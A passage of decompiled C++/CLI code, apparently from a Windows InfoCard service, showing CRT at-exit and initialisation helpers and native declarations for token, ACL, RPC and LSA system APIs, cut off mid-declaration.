\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get() != null; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EAddRef() - { - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - object obj = new object(); - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set(obj); - \u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA = 0; - } - ++\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - } - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002ERemoveRef() - { - --\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - if (\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA != 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct(); - } - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EEnter() => Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EExit() => Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__global_lock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__global_unlock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__alloc_global_lock() - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EAddRef(); - return \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized(); - } - - [DebuggerStepThrough] - internal static void \u003FA0x9b698f77\u002E__dealloc_global_lock() - { - --\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - if (\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA != 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct(); - } - - internal static unsafe int _atexit_helper( - __FnPtr func, - uint* __pexit_list_size, - __FnPtr** __ponexitend, - __FnPtr** __ponexitbegin) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (func == null) - return -1; - int num1; - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__global_lock()) - { - try - { - if (*__pexit_list_size - 1U < (uint) (*(int*) __ponexitend - *(int*) __ponexitbegin) >> 2) - { - try - { - uint num2 = *__pexit_list_size * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local2 = __ponexitend; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) __ponexitbegin); - *(int*) local2 = (int) num5; - *(int*) __ponexitbegin = (int) num4.ToPointer(); - uint num6 = *__pexit_list_size; - uint num7 = 512U >= num6 ? num6 : 512U; - *__pexit_list_size = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *__pexit_list_size * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local3 = __ponexitend; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) __ponexitbegin); - *(int*) local3 = (int) num9; - *(int*) __ponexitbegin = (int) num8.ToPointer(); - uint* numPtr = __pexit_list_size; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) __ponexitend = (int) func; - __FnPtr** local4 = __ponexitend; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = func; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u003CModule\u003E.\u003FA0x9b698f77\u002E__global_unlock(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void _exit_callback() - { - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size == 0U) - return; - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - if ((IntPtr) local1 != new IntPtr(-1) && (IntPtr) local1 != IntPtr.Zero && (IntPtr) local2 != IntPtr.Zero) - { - while (true) - { - do - { - local2 -= 4; - if (local2 < local1) - goto label_5; - } - while ((IntPtr) *(int*) local2 == (IntPtr) \u003CModule\u003E._encoded_null()); - void* voidPtr = \u003CModule\u003E._decode_pointer((void*) *(int*) local2); - *(int*) local2 = (int) \u003CModule\u003E._encoded_null(); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (IntPtr) voidPtr)(); - local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - } -label_5: - Marshal.FreeHGlobal(new IntPtr((void*) local1)); - } - \u003CModule\u003E.\u003FA0x9b698f77\u002E__dealloc_global_lock(); - } - - [DebuggerStepThrough] - internal static unsafe int _initatexit_m() - { - if (!\u003CModule\u003E.\u003FA0x9b698f77\u002E__alloc_global_lock()) - return 0; - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m = (__FnPtr*) \u003CModule\u003E._encode_pointer(Marshal.AllocHGlobal(128).ToPointer()); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m = \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m; - \u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size = 32U; - return 1; - } - - internal static __FnPtr _onexit_m(__FnPtr _Function) => \u003CModule\u003E._atexit_m((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - internal static unsafe int _atexit_m(__FnPtr func) - { - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - // ISSUE: cast to a function pointer type - int num = \u003CModule\u003E._atexit_helper((__FnPtr) (IntPtr) \u003CModule\u003E._encode_pointer((void*) func), &\u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size, &local2, &local1); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local1); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local2); - return num; - } - - [DebuggerStepThrough] - internal static unsafe int _initatexit_app_domain() - { - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__alloc_global_lock()) - { - \u003CModule\u003E.__onexitbegin_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer(Marshal.AllocHGlobal(128).ToPointer()); - \u003CModule\u003E.__onexitend_app_domain = \u003CModule\u003E.__onexitbegin_app_domain; - \u003CModule\u003E.__exit_list_size_app_domain = 32U; - } - return 1; - } - - internal static unsafe void _app_exit_callback() - { - if (\u003CModule\u003E.__exit_list_size_app_domain == 0U) - return; - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - try - { - if ((IntPtr) local1 == new IntPtr(-1) || (IntPtr) local1 == IntPtr.Zero || (IntPtr) local2 == IntPtr.Zero) - return; - while (true) - { - do - { - local2 -= 4; - } - while (local2 >= local1 && (IntPtr) *(int*) local2 == (IntPtr) \u003CModule\u003E._encoded_null()); - if (local2 >= local1) - { - // ISSUE: cast to a function pointer type - __FnPtr local3 = (__FnPtr) (IntPtr) \u003CModule\u003E._decode_pointer((void*) *(int*) local2); - *(int*) local2 = (int) \u003CModule\u003E._encoded_null(); - // ISSUE: function pointer call - __calli(local3)(); - local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - } - else - break; - } - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) local1)); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__dealloc_global_lock(); - } - } - - internal static __FnPtr _onexit_m_appdomain(__FnPtr _Function) => \u003CModule\u003E._atexit_m_appdomain((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int _atexit_m_appdomain(__FnPtr func) - { - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - // ISSUE: cast to a function pointer type - int num = \u003CModule\u003E._atexit_helper((__FnPtr) (IntPtr) \u003CModule\u003E._encode_pointer((void*) func), &\u003CModule\u003E.__exit_list_size_app_domain, &local2, &local1); - \u003CModule\u003E.__onexitbegin_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local1); - \u003CModule\u003E.__onexitend_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local2); - return num; - } - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _encode_pointer(void* _param0); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _decode_pointer(void* _param0); - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _encoded_null(); - - [DebuggerStepThrough] - internal static unsafe int _initterm_e(__FnPtr* pfbegin, __FnPtr* pfend) - { - int num1 = 0; - if (pfbegin < pfend) - { - while (num1 == 0) - { - uint num2 = (uint) *(int*) pfbegin; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - pfbegin += 4; - if (pfbegin >= pfend) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void _initterm(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint num = (uint) *(int*) pfbegin; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle() => typeof (ThisModule).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void _initterm_m(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint methodToken = (uint) *(int*) pfbegin; - if (methodToken != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E((__FnPtr) (int) methodToken))(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E( - __FnPtr methodToken) - { - // ISSUE: cast to a function pointer type - return (__FnPtr) (IntPtr) \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle().ResolveMethodHandle((int) methodToken).GetFunctionPointer().ToPointer(); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindDelDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindVecDtor( - __FnPtr)> pVecDtor, - void* ptr, - uint size, - int count, - __FnPtr pDtor) - { - try - { - void* voidPtr = ptr; - int num1 = (int) size; - int num2 = count; - __FnPtr local = pDtor; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(pVecDtor)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint _wmainCRTStartup(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int HeapSetInformation( - [In] void* obj0, - [In] _HEAP_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVolumeInformationW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint* obj3, - [In] uint* obj4, - [In] uint* obj5, - [In] ushort* obj6, - [In] uint obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CreateWellKnownSid( - [In] WELL_KNOWN_SID_TYPE obj0, - [In] void* obj1, - [In] void* obj2, - [In] uint* obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalFree([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int InfoCardKeyGenX931( - [In] uint obj0, - [In] byte* obj1, - [In] byte* obj2, - [In] byte* obj3, - [In] byte* obj4, - [In] uint obj5, - [In] byte* obj6, - [In] byte* obj7, - [In] uint obj8, - [In] byte** obj9, - [In] uint* obj10, - [In] X931_restart_t* obj11); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CloseHandle([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertSidToStringSidW([In] void* obj0, [In] ushort** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsTrustedUser( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] uint obj5, - [In] void** obj6, - [In] void** obj7, - [In] uint* obj8, - [In] void* obj9, - [In] void** obj10); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CheckTokenMembership([In] void* obj0, [In] void* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RpcRevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsUserHelper( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] void** obj5, - [In] uint* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingSetAuthInfoW( - [In] void* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint obj3, - [In] void* obj4, - [In] uint obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetEntriesInAclW( - [In] uint obj0, - [In] _EXPLICIT_ACCESS_W* obj1, - [In] _ACL* obj2, - [In] _ACL** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void* obj3, - [In] void* obj4, - [In] _ACL* obj5, - [In] _ACL* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalAlloc([In] uint obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint InfoCardStartRpcServer([In] ushort* obj0, [In] _RPCCALLBACKS* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoCloseContext([In] void* obj0, [In] ushort* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateJobObjectHelper([In] void** obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint VerifyTrust([In] ushort* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SHGetFolderPathW( - [In] HWND__* obj0, - [In] int obj1, - [In] void* obj2, - [In] uint obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern uint GetLastError(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int DuplicateTokenEx( - [In] void* obj0, - [In] uint obj1, - [In] _SECURITY_ATTRIBUTES* obj2, - [In] _SECURITY_IMPERSONATION_LEVEL obj3, - [In] _TOKEN_TYPE obj4, - [In] void** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint GetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void** obj3, - [In] void** obj4, - [In] _ACL** obj5, - [In] _ACL** obj6, - [In] void** obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringFreeW([In] ushort** obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateAndWaitForFileOpenDialog( - [In] ushort* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint AdjustPrivileges([MarshalAs(UnmanagedType.U1)] bool _param0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetHighAssuranceFlags([In] _CERT_CHAIN_CONTEXT* obj0, [In] uint* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFree([In] void** obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVersionExW([In] _OSVERSIONINFOW* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertStringSidToSidW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcImpersonateClient([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaGetLogonSessionData( - [In] _LUID* obj0, - [In] _SECURITY_LOGON_SESSION_DATA** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaFreeReturnBuffer([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* OpenProcess([In] uint obj0, [In] int obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int DnsNameCompare_W([In] ushort* obj0, [In] ushort* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int EqualSid([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void AssertInternal( - [MarshalAs(UnmanagedType.U1)] bool _param0, - [In] ushort* obj1, - [In] sbyte* obj2, - [In] int obj3, - [MarshalAs(UnmanagedType.U1)] bool _param4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3, - [In] uint* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int _wcsnicmp([In] ushort* obj0, [In] ushort* obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void MIDL_user_free([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = 